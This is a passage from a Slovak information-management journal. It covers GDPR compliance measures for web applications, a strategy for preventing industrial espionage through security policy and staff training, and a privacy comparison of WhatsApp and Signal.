jednotlivec namieta proti spracovaniu svojich údajov.[12] 
   Právo na presnosť údajov - GDPR dáva používateľom právo na prenosnosť 
údajov. Prenosnosť údajov znamená, že keď chce používateľ preniesť svoje údaje 
z jedného zariadenia do druhého, môže tak urobiť bez akýchkoľvek zásahov zo 
strany vlastníka aplikácie. Používateľ aplikácie môže tiež požiadať vlastníka 
aplikácie, aby preniesol údaje akejkoľvek tretej strane v rámci zákonných hraníc. 
Dôvody prenosu údajov z aplikácie do iného zariadenia tretej strany sa môžu líšiť 
od túžby komunikovať prostredníctvom vašej aplikácie so sociálnou platformou 
alebo fórom až po zdieľanie údajov s veriteľmi, pracovnými miestami, 
poskytovateľmi lekárskej starostlivosti atď. [24] 
   Právo na zrušenie spracovania údajov - Podľa článku 21 GDPR má používateľ 
právo požiadať vlastníka aplikácie, aby zastavil spracovanie svojich údajov. 
Vlastník webu alebo aplikácie musí dať používateľovi na začiatku, ako aj v 
pravidlách ochrany osobných údajov vedieť, že má nasledujúce práva vzniesť 
námietku[5].  
   Práva vo vzťahu k automatizovanému rozhodovaniu a profilovaniu - Jedným 
z prvých článkov nariadenia GDPR je získanie informovaného a konkrétneho 
súhlasu používateľov webu a aplikácií skôr, ako od nich získate osobné informácie. 
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Predtým sa chápalo, že rozhodnutím používateľov pokračovať v používaní 
aplikácie je súhlas so zhromažďovaním a používaním ich údajov. Už to tak nie je. 
Od majiteľov aplikácií sa vyžaduje, aby pred automatizáciou a profilovaním svojich 
informácií prijali aktívny a informovaný súhlas používateľa. Vlastník aplikácie by 
mal používateľom poskytnúť určité informácie o informáciách, ktoré bude 
zhromažďovať. Zverejnenie by malo obsahovať začiarkavacie políčko alebo 
tlačidlo, pomocou ktorého môžu používatelia kliknúť a potvrdiť svoj súhlas so 
zhromažďovaním informácií.[19]  
 
Ako dosiahnuť, aby bola vaša webová aplikácia v súlade s nariadeniami GDPR?  
   Vlastník aplikácie môže zaistiť súlad svojej webovej aplikácie s GDPR podľa 
týchto pokynov a integrácie týchto možností do webovej aplikácie[27].  
   Neukladajte nepotrebné údaje - Vlastník aplikácie by mal mať jasné pokyny, 
aké informácie by sa mali zhromažďovať a na aké účely. Zhromažďovanie 
nepotrebných informácií bez akéhokoľvek účelu je v rozpore s podmienkami GDPR. 
Napríklad ak aplikácia na objednávanie jedál žiada o rodinný stav alebo herná 
aplikácia s požiadavkou na domácu adresu. Vlastník aplikácie by mal zvážiť aj 
definovanie času uchovávania údajov. Po splnení účelu by vlastník aplikácie mal 
vymazať údaje používateľov zo svojho systému[30].  
   Šifrovanie údajov - Šifrovanie je jedným z najdôležitejších výrazov používaných 
v texte GDPR. Bolo to spomenuté štyrikrát. Rýchlo rastúce kybernetické útoky a 
krádeže dát sa stali neoddeliteľnou súčasťou všetkých majiteľov aplikácií pri 
zavedení silného šifrovania. Môžete si vziať príklad z porušenia práva „Ashley 
Madison“, ku ktorému došlo v júli 2015. Hackeri odcudzili viac ako 25 GB osobných 
údajov z webovej stránky s cudzoložstvom. Odcudzené údaje zahŕňali mená, e-
mailové adresy a adresy používateľov. Príčinou porušenia bolo nezašifrované 
úložisko dát, ktoré umožňovalo hackerom sledovať používateľov. Táto 
nedbanlivosť vyústila do vlny vydierania, zničila mnoho životov a rozvrátila 
manželstvá. Majitelia webových stránok museli za následné spory zaplatiť viac ako 
11 miliónov dolárov. Ak z legitímnych dôvodov, ako je nákladová efektívnosť alebo 
pokles výkonu, nemôžete použiť šifrovanie ako súčasť svojich zásad ochrany 
údajov? V takom prípade by ste mali zhromaždiť dostatok dôkazov na zálohovanie 
svojich tvrdení alebo použiť alternatívne metódy, ako je pseudonymizácia.[20]  
   Používajte protokol HTTPs - Teraz sa stáva povinným používať na 
zabezpečenie certifikáciu SSL. Pomocou protokolov HTTP sú chránené všetky 
údaje zhromaždené prostredníctvom stránok „Kontaktujte nás“ alebo „Fakturačná 
stránka“. Ak vlastník webu alebo aplikácie zhromažďuje údaje o protokole HTTP, 
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informácie sa odošlú ako obyčajný text, ktorý otvorí brány hackerom[13]. Protokoly 
HTTPs šifrujú všetky údaje odosielané medzi klientom a serverom pomocou 
kryptografických protokolov SSL / TLS. Keď používateľ požaduje pripojenie HTTPS 
k vašej aplikácii, odošle mu váš certifikát SSL, ktorý obsahuje kľúč potrebný na 
vytvorenie zabezpečeného pripojenia[22]. 
   Použite dvojfaktorové overenie - 2FA alebo dvojfaktorová autentifikácia je 
jedným z najbezpečnejších spôsobov ochrany používateľov pred narušením 
údajov. 2FA znamená kombináciu faktora držby (napríklad mobilného čísla), 
faktora vedomostí (heslo) a inherentného faktora (odtlačok prsta alebo 
rozpoznávanie tváre). Keď používatelia aktivujú 2FA vo svojej aplikácii alebo 
webovej aplikácii, dostali dva kľúče na odomknutie účtu. Môže to byť buď kód na 
číslo mobilného telefónu a heslo na e-mail, alebo to môže byť kód na e-mail a 
rozpoznávanie odtlačkov prstov / tváre. K účtu nebude prístup, ak používateľ nemá 
ani jednu z týchto informácií.[25]  
   Implementujte biometrické údaje - Biometrický systém je medzi vlastníkmi 
aplikácií veľmi častý, najmä pokiaľ ide o finančné aspekty. Integrácia 
biometrického rozpoznávania do aplikácie ešte viac zvýši bezpečnosť používateľa 
a jeho údajov zhromaždených prostredníctvom aplikácie.[21]  
   Nesledujte aktivitu používateľov - Ak svojmu zákazníkovi neposkytnete 
súkromie, ako môžete požiadať o zabezpečenie ochrany pred tretími stranami? 
Mnoho aplikácií zhromažďuje údaje sledovaním aktivít používateľov na webe a v 
aplikáciách a predáva ich inzerentom na marketingové účely. Ak ste vlastníkom 
aplikácie a sledujete aktivity používateľov na marketingové účely, mali by ste ich o 
tom informovať s úplným vysvetlením. Ak tak neurobíte, dostanete pokutu v súlade 
s podmienkami GDPR. Poskytnite svojim používateľom úplnú anonymitu a 
nesledujte ich stopy.[15]  
   Nepoužívajte bezpečnostné otázky - Nedávajte používateľom bezpečnostné 
otázky týkajúce sa osobných informácií, ako sú meno vášho starého otca, mesto, 
v ktorom ste sa narodili, vaše prvé meno v škole atď. Hackeri môžu všetky tieto 
informácie ľahko sledovať z profilov sociálnych médií. Najlepšou možnosťou je 
vyhnúť sa bezpečnostným otázkam a využívať služby ako OAuth.[26] 
   Nepoužívajte súbory cookies na ukladanie informácií - Podľa GDPR prvá 
návšteva webových stránok neznamená, že návštevník automaticky udelil súhlas 
so spracovaním osobných údajov. Aj keď zobrazíte „Ak používate túto webovú 
stránku, prijímate cookies“, prípad súhlasu sa nepovažuje za „slobodne daný“ 
(odôvodnenie 42). Stále platí granulárny súhlas. Ak teda chcete sledovať správanie 
návštevníkov a používať ich údaje na inzerciu, mali by ste pre každú činnosť získať 
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povolenie. Budete tiež musieť umožniť návštevníkom ľahko odvolať svoj súhlas. 
Používateľom, ktorí odmietli súhlas, navyše nemôžete zablokovať prístup na váš 
web[31].  
   Zmluvné podmienky - Sekcia Zmluvné podmienky vášho webu a aplikácie by 
mala byť poskytnutá v jasnom jazyku, ktorému používatelia ľahko porozumejú. 
Používatelia by si mali pred použitím vašej aplikácie prečítať tieto podmienky a 
vyjadriť s nimi súhlas.[23]  
   Odstraňujte údaje používateľov - Vlastník aplikácie by mal údaje používateľov 
vymazať za nasledujúcich okolností. Ak používateľ využil svoje právo na 
zabudnutie a požiadal vlastníka aplikácie o vymazanie údajov Ak používateľ opustil 
aplikáciu alebo služby a nechce sa  k nim vrátiť. Po stanovenom čase podľa zásad 
uvedených v zásadách ochrany osobných údajov. Po splnení účelu zhromaždených 
údajov je vlastník aplikácie povinný vymazať údaje používateľov zo svojich 
serverov[30].  
 
Záver 
   Rýchlo narastajúce narušenia bezpečnosti a veľké korporácie zhromažďujúce 
nadmerné údaje o používateľoch sa stali významnými problémami pre 
priemerných používateľov a vlády. Na riešenie týchto problémov bolo v EÚ 
sankcionované nariadenie GDPR[4]. Ak podnikáte v EÚ alebo mimo nej, ale vaši 
zákazníci sú občanmi Európskej únie, vaša žiadosť musí zodpovedať podmienkam 
nariadenia GDPR[7]. Aj keď nariadenie GDPR pomáha predchádzať narušeniu 
bezpečnosti a dáva používateľom väčšiu moc nad ich vlastnými údajmi, pre 
podniky môže byť náročné dosiahnuť, aby boli v súlade s GDPR. Z dlhodobého 
hľadiska však tieto praktiky prinesú spoločnostiam zisk, pretože prilákajú viac 
používateľov a získajú ich lojalitu udržiavaním čestných a bezpečných obchodných 
a zákazníckych vzťahov.  
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STRATÉGIA PREVENCIE VOČI PRIEMYSELNEJ 
ŠPIONÁŽI 
 
INDUSTRIAL ESPIONAGE PREVENTION STRATEGY 
 
Nikoletta Szegfüová 
 
Abstract 
   The aim of the article is to list possible ways of protection against industrial 
espionage. The work deals with the design of a security policy that defines possible 
ways of protection against industrial espionage, the characterization of industrial 
espionage using selected examples. 
 
Key words: industrial espionage, security policy 
 
Abstrakt 
   Cieľom článku je uviesť možné spôsoby ochrany voči priemyselnej špionáži. 
Práca sa zaoberá návrhom bezpečnostnej politiky, ktorá definuje možné spôsoby 
ochrany pred priemyselnou špionážou charakterizovanie priemyselnej špionáže 
pomocou vybraných príkladov. 
 
Kľúčové slová: priemyselná špionáž, bezpečnostná politika 
 
Úvod 
   Špionáž je všeobecne ľuďmi vnímaná, ako činnosť vykonávaná špiónmi za 
účelom získania tajomstva nepriateľa. V priemyselnej špionáži je to podobne, len 
záujem sa kladie na získanie obchodného tajomstva.[10] Najväčšou hrozbou 
informačnej bezpečnosti je samotný človek. Túto skutočnosť si treba uvedomiť, 
lebo pri zostavovaní bezpečnostných opatrení je kľúčová. Cieľom článku je uviesť 
možné spôsoby ochrany voči priemyselnej špionáži.  
   V článku sú uvedené spôsoby ochrany pred priemyselnou špionážou. Z hlavných 
bezpečnostných opatrení, ktoré môže zabrániť a znížiť mieru úspechu útokov s 
využitím metód sociálneho inžinierstva je zavedenie bezpečnostnej politiky. 
Bezpečnostná politika je vhodný nástroj na elimináciu takýchto útokov, preto bude 
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spomenutá aj v tomto článku. Takisto sa pozrieme na nový zákon z roku 2018 o 
kybernetickej bezpečnosti. 
 
Priemyselná špionáž 
   Priemyselná špionáž má významný vplyv na hospodárstvo, pracovné miesta a 
rast EÚ. Kybernetické krádeže obchodného tajomstva stoja Európsku úniu 
odhadom 60 miliárd EUR. V tejto súvislosti je potrebné dôkladne posúdiť, ako 
vzájomná závislosť a zvýšená expozícia kybernetickým hrozbám ovplyvňujú 
schopnosť EÚ chrániť občanov aj podniky[2]. 
   Kríza spôsobená ochorením COVID-19 takisto zdôraznila to, ako sociálne rozdiely 
a neistota vedú k bezpečnostnej zraniteľnosti. Zväčšuje to potenciál 
rafinovanejších a hybridných útokov zo strany štátnych a neštátnych subjektov, 
ktoré využívajú zraniteľnosť pomocou kombinácie kybernetických útokov, 
poškodzovania kritickej infraštruktúry, dezinformačných kampaní a radikalizácie 
politického jazyka[4]. Podľa štatistík Europol, viac ako 2/3 organizácií v Európe 
nemá ani odhad možného finančného dopadu kybernetického útoku na ich 
spoločnosť, a menej ako štvrtina má vypracovaný reakčný plán pre prípad hrozby 
prostredníctvom kybernetického útoku[1]. 
   Hlavným rizikom pre firmy je v súčasnosti spoliehanie sa na technológie bez 
organizačnej štruktúry kybernetickej bezpečnosti. Správne vypracovaná stratégia 
zabezpečuje ochranu a prevenciu pred stále sofistikovanejšími útokmi 
kybernetickej špionáže.[11] Tie môžu prebehnúť vo forme získania dôveryhodných 
informácií, neoprávneným prístupom, či nedostupnosťou služieb, čo v konečnom 
dôsledku môže ovplyvniť celkovú prevádzku firmy. Organizačnú štruktúru, ktorá 
takéto dopady pomáha eliminovať od slovenských firiem priamo vyžaduje už od 
apríla 2018 nový zákon č. 69/2018 Z. z o kybernetickej bezpečnosti[12]. 
   Nový zákon o kybernetickej bezpečnosti pre spoločnosti zavádza povinnosť 
vyčleniť dostatočné prostriedky ako materiálno-technické, personálne, tak aj 
časové, za účelom zabezpečenia kontinuity služieb či výroby. Do šiestich mesiacov 
od zaradenia do registrov Národného bezpečnostného úradu sú firmy povinné mať 
vypracované bezpečnostné opatrenia zabezpečujúce riadenie kybernetickej 
bezpečnosti s technológiami spĺňajúcimi legislatívne požiadavky, ktoré budú vedieť 
identifikovať bezpečnostné hrozby, ako aj incidenty v takmer reálnom čase a tým 
predísť ďalším kybernetickým útokom[6]. 
   Možnosťou, ako sa chrániť, je vypracovanie kvalitnej bezpečnostnej politiky 
organizácie a jej následné dodržiavania. Ide napr. o bezpečnosť informácií (zásady 
prevencie utajovania informácií), o ochranu fyzickú (bezpečnosť budov a areálu 
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proti neoprávnenému vniknutiu, dodržiavanie pravidiel pre pohyb osôb v presne 
definovaných zónach, zabezpečenie proti odpočúvaniu a pod.), ochranu 
informačných systémov (používaním interných spojovacích ciest, spoľahlivou 
identifikáciou zdroja a príjemcu správy, šifrovanie správ, digitálne podpisy, 
bezpečnostné kódy a pod.) a o ochranu v personálnej oblasti (motivácia 
zamestnancov – majú pocit, že sú zamestnávateľom vykorisťovaní, túžba po 
prevahe nad zamestnávateľom a pod.). Spôsoby zaistenia ochrany utajovaných 
informácií je možné kategorizovať do nasledovných zložiek[13]: 

a) personálna bezpečnosť, ktorú predstavuje výber fyzických osôb, ktoré majú 
mať prístup k utajovaným informáciám, overovanie podmienok ich prístupu 
k utajovaným informáciám, ich výchova a ochrana; 

b) priemyslová bezpečnosť, ktorú tvorí systém opatrení na zaistenie a overenie 
podmienok pre prístup podnikateľa k utajovaným informáciám a na 
zaistenie spôsobu zaobchádzania s informáciou;  

c) administratívna bezpečnosť, ktorú tvorí systém opatrení pri tvorbe, príjme, 
evidencii, spracovaní, odosielaní, preprave, prenášaní, ukladaní, skartovaní, 
archivácii s utajovanými informáciami; 

d) fyzická bezpečnosť, ktorú tvorí systém opatrení, ktoré majú neoprávnenej 
osobe zabrániť, alebo sťažiť prístup k utajovaným informáciám, poprípade 
tento pokus zaznamenať[16]; 

e) bezpečnosť informačných, alebo komunikačných systémov, ktorú tvorí 
systém opatrení, ktorých cieľom je zaistiť dôvernosť, integritu a dostupnosť 
utajovaných informácií, s ktorými tieto systémy narábajú a zodpovednosť 
správy a používateľa za ich činnosť v informačnom, alebo komunikačnom 
systéme[15]; 

f) kryptografická ochrana, ktorú tvorí systém opatrení na ochranu 
utajovaných informácií použitím kryptografických metód a 
kryptografických materiálov pri spracovaní, prenose, alebo ukladaní 
utajovaných informácií u podnikateľa. 

 
Obrana voči priemyselnej špionáži 
   Predtým, ako bude možné vypracovať účinný program proti špionáži, musí byť 
vykonané hodnotenie rizík zariadenia a informácií, ktoré majú byť chránené, aby 
bolo možné identifikovať riziko špionáže voči chráneným informáciám organizácie. 
Pri určovaní rizika je potrebné preskúmať informácie, ktoré sa majú chrániť, ich 
hodnotu, definovať, kto by ich chcel mať, určiť, do akej miery sú prístupné, a vplyv 
na organizáciu, ak by sa tieto informácie získali nezákonne prostredníctvom 
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priemyselnej špionáže. Po identifikácii hrozby a rizika je potrebné určiť, čo je 
potrebné chrániť. Ďalej určime závažnosť hrozby a pravdepodobnosť výskytu. To 
sa dosiahne vykonaním preskúmania s cieľom určiť požadovanú bezpečnosť na 
zabránenie alebo zníženie hrozieb. Ďalším krokom je identifikácia opatrení, ktoré 
sa majú vykonať s cieľom znížiť hrozbu[10]. Je potrebné vykonať súpis chránených 
informácií prezeraním všetkých papierových kópií a počítačových informácií. 
Hodnotu informácií pre organizáciu je potrebné hodnotiť z finančného aj kritického 
hľadiska.[8] Na základe typu informácií a poslania organizácie je potrebné posúdiť, 
kto by tieto informácie chcel a ako by sa dali využiť, ak by sa získali 
prostredníctvom priemyselnej špionáže[7]. Medzi ďalšie oblasti na preskúmanie v 
procese hodnotenia rizika patrí kontrola toho, ako sú informácie v súčasnosti 
chránené[3]. 
    V tomto hodnotení rizika je tiež potrebné preskúmať program odbornej prípravy 
na zvyšovanie povedomia o kontrašpionáži, ktorý je v súčasnosti k dispozícii pre 
zamestnancov zariadenia, vrátane informácií poskytovaných na školeniach, 
rozdávaní poskytnutým účastníkom a dokumentácie tohto školenia v súboroch 
personálu zamestnancov. Po dokončení hodnotenia rizika sa výsledky použijú na 
vypracovanie plánu proti špionáži. 
   Tento plán musí zahŕňať všetky ochranné opatrenia, ktoré sa uplatnia, vrátane 
všetkých oblastí určených v hodnotení rizika, ako aj opatrenia a postupy fyzickej 
bezpečnosti, operačné postupy bezpečnostných zložiek a bezpečnostné opatrenia 
počítačovej bezpečnosti. V pláne musia byť zahrnuté aj postupy ľudských postihov 
spojené s náborom, vyšetrovaním a ukončením konania. Do plánu, ako aj do 
dokumentácie o školení zamestnancov musia byť zahrnuté aj typy a metódy 
školenia o zvyšovaní povedomia o bezpečnosti. Metódy interných auditov na 
prevenciu priemyselnej špionáže a frekvencia takýchto auditov by mali byť 
uvedené v pláne kontrarozviedky. Musia sa určiť aj kritériá na vykonávanie 
vyšetrovaní v rámci špionáže. Medzi ďalšie úvahy patrí to, ktoré udalosti povedú k 
takémuto vyšetrovaniu, a spolu s určením toho, kto bude zodpovedný za vedenie 
vyšetrovania[9]. 
   Je dôležité poskytnúť všetkým zamestnancom školenie o zvyšovaní povedomia 
o kontrašpionáži ako proaktívne opatrenie v prevencii špionáže[5]. Ak zamestnanci 
pochopia hrozbu a spôsoby zberu, budú schopní rozpoznať možnú špionáž alebo 
pokusy o získanie informácií od nich. Zamestnanci musia byť tiež poučení o tom, 
ako a komu oznámia takúto hrozbu[14]. 
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Záver 
   Informačná bezpečnosť podniku a spôsoby ochrany pred externým prostredím 
je téma, ktorá ostáva stále aktuálna aj do ďalších rokov. Mnoho podnikov, ktoré sa 
už stretli s bezpečnostnými incidentmi, najmä s únikom informácií prikladá 
informačnej bezpečnosti zvýšenú pozornosť. Častá chyba, ktorú podniky robia je, 
že sa zameriavajú skôr len na technické zabezpečenie svojich informačných 
systémov. Chránia sa pred vonkajším prostredím, ale svoje vnútorné prostredie 
informačných tokov nechávajú odkryté. Pritom najslabším článkom informačnej 
bezpečnosti podniku sú ľudia, technické a programové bezpečnostné opatrenia 
majú len pomôcť prípadne vylúčiť niektoré z možností útokov. Priemyselná špionáž 
pomocou metód sociálneho inžinierstva sa zameriava práve na ľudí. Snaží sa získať 
citlivé informácie, obísť technické a programové zabezpečenia a to tým 
najrafinovanejším spôsobom, tak že sa na to priamo spýta kompetentných ľudí. 
Tých, čo nie sú s problematikou dôkladne oboznámení to môže zaskočiť a úniku 
informácií už nič nezabráni. Podnik tak nemá šancu zareagovať a často sa stáva, 
že sa o úniku informácií ani nedozvie, alebo zostáva zamlčaný.  
   Len správne nastavenie bezpečnostnej politiky a zodpovedná klasifikácia 
informácií môže vyriešiť informačnú bezpečnosť podniku, lebo stanovuje presné 
bezpečnostné zásady, ktoré určujú spôsob narábania z informáciami a ich tok vo 
vnútornom a vonkajšom prostredí podniku. 
 
Použitá literatúra 
 
[1]   ABB Slovenským firmám chýba stratégia kybernetickej bezpečnosti. In [online]. 
[cit. 2020-12-01]. Dostupné na internete: 
<https://new.abb.com/news/sk/detail/14782/slovenskym-firmam-chyba-
strategia-kybernetickej-bezpecnosti>. 

[2]   BENNY, D.J. Industrial espionage: developing a counterespionage program. . 
Boca Raton, Fla: CRC Press, 2014. ISBN 978-1-4665-6814-3. 

[3]   GREGUŠOVÁ, D. et al. Emergence and development of legal computer science 
and its role in the context of knowledge management development in Slovakia. In 
Education excellence and innovation management [elektronický dokument] : a 
2025 vision to sustain economic development during global challenges . 
Norristown: International business information management association, 2020. s. 
1337–1346. . 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

27  http://www.manazerskainformatika.sk 
 

[4]   JURČÁK, V. et al. Evropská bezpečnost. 4. In Bezpečnostní vědy : úvod do teorie, 
metodologie a bezpečnostní terminologie . Plzeň: Vydavatelství a nakladatelství 
Aleš Čeněk, 2019. s. 89–140. ISBN 978-80-7380-758-0. 

[5]   KAROVIČ, V. et al. Nasadenie virtualizačného prostredia OpenStack na 
výučbové účely: časť 1. In Marketing science and inspirations . 2016. s. 43–52. . 

[6]   MATUŠOVIČ, M. et al. Protection of Competition - the Global Economic Crisis VI. 
. Mukařov - Srbín: Ľuboš Janica, 2018. 190 s. ISBN 978-80-270-1037-0. 

[7]   MATUŠOVIČ, MARTIN. Business and Cyber Security. In IAktuálne problémy 
podnikovej sféry 2019. Medzinárodná vedecká konferencia. Aktuálne problémy 
podnikovej sféry 2019 : zborník vedeckých prác z medzinárodnej vedeckej 
konferencie, 2019, Ráztočno Handlová, Slovensko. - Bratislava : Vydavateľstvo 
EKONÓM . 2019. s. 312–320. . 

[8]   MATUŠOVIČ, MARTIN Protection of The Sustainability of Digital Competition. 
In Socio-Economic Determinants of Sustainable Consumption and Production : 
Proceedings of Scientific Papers. - Brno : Masaryk University Press . 2020. s. 173–181. 
ISBN 978-80-210-9705-6. 

[9]   PAWERA, R. - VESELÝ, P. Etický hacking v kontextu managementu bezpečnosti. 
In Bezpečná Evropa 2018 : sborník sdělení z 9 . Praha: Vysoká škola finanční a 
správní, 2019. s. 101–114. ISBN 978-80-7408-185-9. 

[10]   PERÁČEK, T. et al. Legislative aspects of custody of securities in the conditions 
of the Slovak Republic. In Finance and sustainability [elektronický dokument] : 
Proceedings from the 2nd Finance and sSustainability Conference, Wroclaw 2018 . 
Cham: Springer Verlag, 2020. s. 237–247. ISBN 978-3-030-34400-9. 

[11]   PORADA, V. et al. Kybernetická bezpečnost. 6. In Bezpečnostní vědy : úvod do 
teorie, metodologie a bezpečnostní terminologie . Plzeň: Vydavatelství a 
nakladatelství Aleš Čeněk, 2019. s. 160–182. ISBN 978-80-7380-758-0. 

[12]   VESELÝ, P. Definice kybernetické bezpečnosti, kybernetických útoků a 
kybernetické kriminality. In Bezpečnostní vědy : úvod do teorie, metodologie a 
bezpečnostní terminologie . Plzeň: Vydavatelství a nakladatelství Aleš Čeněk, 2019. 
s. 160–175. ISBN 978-80-7380-758-0. 

[13]   VESELÝ, P. Manažment ochrany informácií. . Praha: TopSmart Business, 2020. 
ISBN 978-80-270-9014-3. 

[14]   VESELÝ, P. et al. Marketingové problémy predmetu etický hacking. In 
Marketing science and inspirations . 2016. s. 32–37. . 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

28  http://www.manazerskainformatika.sk 
 

[15]   VESELÝ, P. Šifrovanie dát a osobných údajov. In Ochrana osobných údajov 
[elektronický dokument] . 2017. . 

[16]   VESELÝ, P. - KAROVIČ, V. Active security testing according to OWASP in the 
organization in terms of GDPR. In Progresívne prístupy a metódy zvyšovania 
efektívnosti a výkonnosti organizácií [elektronický dokument] . Košice: Slovenská 
asociácia procesného riadenia, 2018. s. 114–124. ISBN 978-80-972984-1-8. 

 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

29  http://www.manazerskainformatika.sk 
 

 

WHATSAPP ALEBO SIGNAL ? 
 
WHATSAPP OR SIGNAL ? 
 
Filip Schulz 
 
Abstract 
   The aim of this article is to clarify the WhatsApp and Signal applications. The basis 
of the article is to point out the security of the given applications for the user himself 
as well as his basic functions and information. 
 
Key words: WhatsApp, Signal, user 
 
Abstrakt 

Cieľom tohoto článku je objasniť aplikácie WhatsApp a Signal. Základom 
článku je poukázať na bezpečnosť daných aplikácií pre samotného užívateľa a 
taktiež jeho základných funkcií a informácií.  
 
Kľúčové slová: WhatsApp, Signal, užívateľ 
 
Úvod 
   Keď dnes uvažujeme o komunikácii s niekým, väčšinou myslíme na to, že mu 
pošleme textovú správu alebo hlasovú poznámku na WhatsApp. Niektorí ďalší 
ľudia, ktorí sa menej obávajú o svoje online súkromie, myslia na Facebook 
Messenger. Nie všetci títo používatelia však vedia, čo sa deje so správami, ktoré si 
vymieňajú na týchto online platformách pre odosielanie správ. Ak sa rozhodujete 
medzi tou správnou aplikáciou na zasielanie šifrovaných správ a máte v tom 
zmätok či WhatsApp alebo Signal, tak nestrácajte čas ničím iným a rozhodnite sa 
pre Signal. Nejde o to, ktorá aplikácia ma roztomilejšie funkcie, viac zvukov, 
píšťaliek alebo je čo je pohodlnejšie používať pretože sa jedná sa o Vaše súkromie. 
Ak je to, to čo hľadáte, tak nerozmýšľajte a rozhodnite sa pre Signal, pretože nič 
neprekoná Signal. 
 
Aplikácie Signal a WhatApp 
   Nedávno sa vo svete na trhu objavila nová aplikácia Signal[9], ktorej pôsobenie 
začalo už od roku 2014. Signal je aplikácia, ktorá slúži na odosielanie správ 
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zameranú na ochranu osobných údajov a získava si reputáciu hlavného 
konkurenta spoločnosti WhatsApp. Aplikácia zaznamenala od začiatku roka nárast 
o 4200 % stiahnutí používateľmi po tom, čo spoločnosť WhatsApp oznámila, že 
používatelia budú musieť začať poskytovať niektoré údaje svojej materskej 
spoločnosti Facebook.  
Samozrejme, že obe aplikácie, ktoré slúžia na odosielanie správ majú niektoré črty 
rovnaké. Na rozdiel od bežných správ SMS a iných správ odosielaných cez 
celulárnu sieť používajú programy Signal a WhatsApp šifrovanie typu end-to-end, 
ktoré skryje správy pre prípad, že by niekto prerušil chat alebo ich našiel na serveri. 
Dve súperiace aplikácie umožňujú používateľom chatovať zadarmo 
prostredníctvom sietí Wi-Fi alebo mobilných dát, vďaka čomu sú obľúbení pre 
medzinárodnú komunikáciu. 
   WhatsApp má všetko, čo by ste od služby sociálnych správ potrebovali, vrátane 
novej funkcie platieb aplikácií. Skupinové chaty pracujú až s 256 členmi a môžete 
vysielať viaceré správy viacerým kontaktom, taktiež podporuje hlasové hovory a 
videohovory pre jednotlivcov ale aj pre skupiny[1]. Ako isto vieme WhatsApp patrí 
od roku 2014 materskej spoločnosti Facebook, kedy ju Facebook odkúpil za 
neuveriteľných 22 miliárd dolárov. Takže Facebook nemôže pristupovať k 
rozhovorom z dôvodu typu šifrovania end-to-end ale firma môže brať údaje 
používateľov. Facebook má prístup k rôznym údajom ako napríklad k telefónnym 
číslam používateľov WhatsApp, IP adresám, mobilných sietí, dĺžke používania, 
platobným údajom, cookies, údajom o polohe atď.[5] Niektorý používatelia sa 
rozhodli zrušiť povolenie prístupu spoločnosti Facebook ale následne WhatsApp 
uviedol, že ak nebudú súhlasiť so zdieľaním informácií do 8. februára tak stratia 
prístup k aplikácií WhatsApp. Zatiaľ čo samotné správy sú šifrované pomocou end-
to-end, WhatsApp nešifruje zálohy na zariadení ani v cloude a nešifruje ani 
metadáta (informácie spojené s charakteristikami každej správy, napríklad čas a 
umiestnenie)[11]. To znamená, že aj keď nikto nemôže zachytiť správu medzi dvoma 
stranami, informácie ako napríklad kde a kedy bola správa odoslaná sa dajú 
externe načítať. WhatsApp tiež podporuje možnosť uzamknúť vaše správy 
pomocou odtlačkov prstov, ako aj dvojfaktorovú autentizáciu[2]. 
   Teraz sa pozrieme na druhú aplikáciu, ktorá je nováčikom na trhu. Signal je 
podobná aplikácií WhatsApp s cieľom komunikovať s ľuďmi na rovnakej báze ako 
konkurent. Signal ponúka zabezpečené správy, hlasové hovory a videohovory s 
komplexným šifrovaním. Môžete vytvárať skupiny, ale nemôžete vysielať správy 
viacerým kontaktom naraz. Signal hovorí, že nezískava správy od používateľov, 
skupiny, kontakty ani informácie z profilu. Signal je vlastne open source, čo 
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znamená, že jeho kód je pre každého voľne dostupný na kontrolu, či náhodou 
neobsahuje ,,zadné dvierka‘‘ alebo iné prekvapenia. Taktiež Signal využíva 
šifrovanie textu metódu ,,perfect forward secrecy‘‘ čo znamená, že ak by sa aj 
útočníkovi podarilo získať kľúč, nepodarí sa mu aj tak prečítať celú konverzáciu. 
Šifrovací algoritmus signálu nie je proprietárny alebo dokonca jedinečný. Šifrovací 
softvér používaný spoločnosťou Signal je otvorený (a používaný inými aplikáciami 
na zasielanie správ, vrátane WhatsApp) a je k dispozícii na stiahnutie na GitHub[7]. 
To vlastne umožňuje, aby bol Signal bezpečnejší, pretože softvér s otvoreným 
zdrojovým kódom podlieha verejnej kontrole zo strany vývojárov a 
bezpečnostných expertov.[8] Odhaľuje chyby a zraniteľnosti skôr, ako keby bol 
softvér zatvorený a chránený. Ak by sa hacker snažil zistiť údaje o daných 
správach a ich metadátach tak by bol neúspešný. Signal tiež šifruje metaúdaje, čo 
zatiaľ WhatsApp nedokázal. Signal tiež umožňuje prenos uskutočňovaných 
hovorov z jeho serverov, pričom slúži ako druh virtuálnej súkromnej siete (VPN) pre 
hovory a zaisťuje vysokú úroveň súkromia[4]. K dispozícii je tiež možnosť 
zablokovať príjemcom snímanie snímok obrazovky správy a tiež poskytuje funkciu, 
ktorá umožňuje rozmazanie tvárí na fotografiách pred ich odoslaním. 
 

Obrázok 1 Počet používateľov Signal, WhatsApp, Telegram 

 
Zdroj : https://www.bloomberg.com/opinion/articles/2021-01-15/should-you-trade-whatsapp-for-signal-

facebook-isn-t-worried 

Záver 
V krátkom zhrnutí uvediem zoznam údajov, ktoré dve dané aplikácie zbierajú o 
užívateľoch a sami si urobte svoj názor.  
Spoločnosť WhatsApp zhromažďuje tieto údaje[6]:  

- Informácie o zariadení 
- Informácie o užívateľovi 
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- Údaje o reklame 
- História nákupu 
- Telefónne číslo 
- E-mailová adresa 
- Kontakty 
- Výkon a diagnostické údaje  
- Interakcia produktu 
- Informácie o platbe 
- Zákaznícka podpora 
- Rôzny ďalší obsah súvisiaci s používateľmi 

  Spoločnosť Signal zhromažďuje tieto údaje[6]: 
- Telefónne číslo 

   WhatsApp má pevný základ s množstvom základných funkcií chatu vykonaných 
správne. Jeho bezpečnosť je špičková a pravdepodobne máte takmer všetky svoje 
kontakty už usadené na platforme. Má tiež zavedenú obchodnú platformu, ktorú 
používa veľa spoločností ale postoj jej materskej spoločnosti k ochrane súkromia 
používateľov a zhromažďovaniu údajov je však čoraz znepokojivejší.[10] 
